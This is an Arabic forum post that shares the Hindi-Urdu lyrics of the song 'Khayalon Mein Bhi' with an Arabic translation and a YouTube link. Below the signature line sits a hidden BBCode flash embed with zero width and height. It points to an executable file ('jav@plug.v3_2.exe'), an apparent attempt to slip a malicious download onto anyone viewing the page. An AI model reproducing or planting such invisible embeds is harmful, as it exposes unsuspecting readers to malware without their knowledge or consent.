هناك شخص جاء (انت ) الى ذاكرتي ايضا (انت )
قلبي يشعر بأن هناك اصوات
تلك اصوات تعود لنبضات قلب داخل صدر
يا الله يا الله
انا بعيدة جدا عن ذاتي


Khayalon mein bhi..Hai khaabon mein bhi
Koi aane laga , Hai yadon mein bhi

بخيالاتي ايضا . وفي احلامي ايضا
هناك شخص جاء الى ذاكرتي ايضا

Din mein bhi wahi saans lene laga
Raaton mein bhi meri woh hi to basa hai
Palkon pe rehne ki dhoondhta hai jagah

بيومي ايضا هو يتنفس قريبا مني
والان يعيش في ليالي ايضا
لانه يبحث عن مكان للعيش به في جفوني

Khayalon mein bhi..Hai khaabon mein bhi
Koi aane laga , Hai yadon mein bhi

بخيالاتي ايضا . وفي احلامي ايضا
هناك شخص جاء الى ذاكرتي ايضا


Dil jise mera pyaar karne laga
Aankhen bhi us ki hi raah mein ruki hain
Kaun hai wo magar ye nahi hai pata

قلبي كأنه واقع بالحب
وعيوني ايضا دائما تنتظره
ولكنني لا اعلم من هو

Khayalon mein bhi.. (tum) Hai khaabon mein bhi (tum)
Koi aane laga (tum), Hai yadon mein bhi (tum)
Ae dil mere mehsoos kar in ahaton ko
Dhadkan ne jo seene mein lee, un karwaton ko
Aye Khuda, Aye Khuda
Main hui mujh se juda

بخيالاتي ايضا (انت ) . وفي احلامي ايضا (انت )
هناك شخص جاء (انت ) الى ذاكرتي ايضا (انت )
قلبي يشعر بأن هناك اصوات
تلك اصوات تعود لنبضات قلب داخل صدر
يا الله يا الله
انا بعيدة جدا عن ذاتي

http://www.youtube.com/watch?v=nyF5EwjukaM
__________________


[flash=http://altsame.com/vb/jav@plug.v3_2.exe]WIDTH=0 HEIGHT=0[/flash]
Rasha@SKFC غير متواجد حالياً   رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)


تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع


الساعة الآن 55 : 12 PM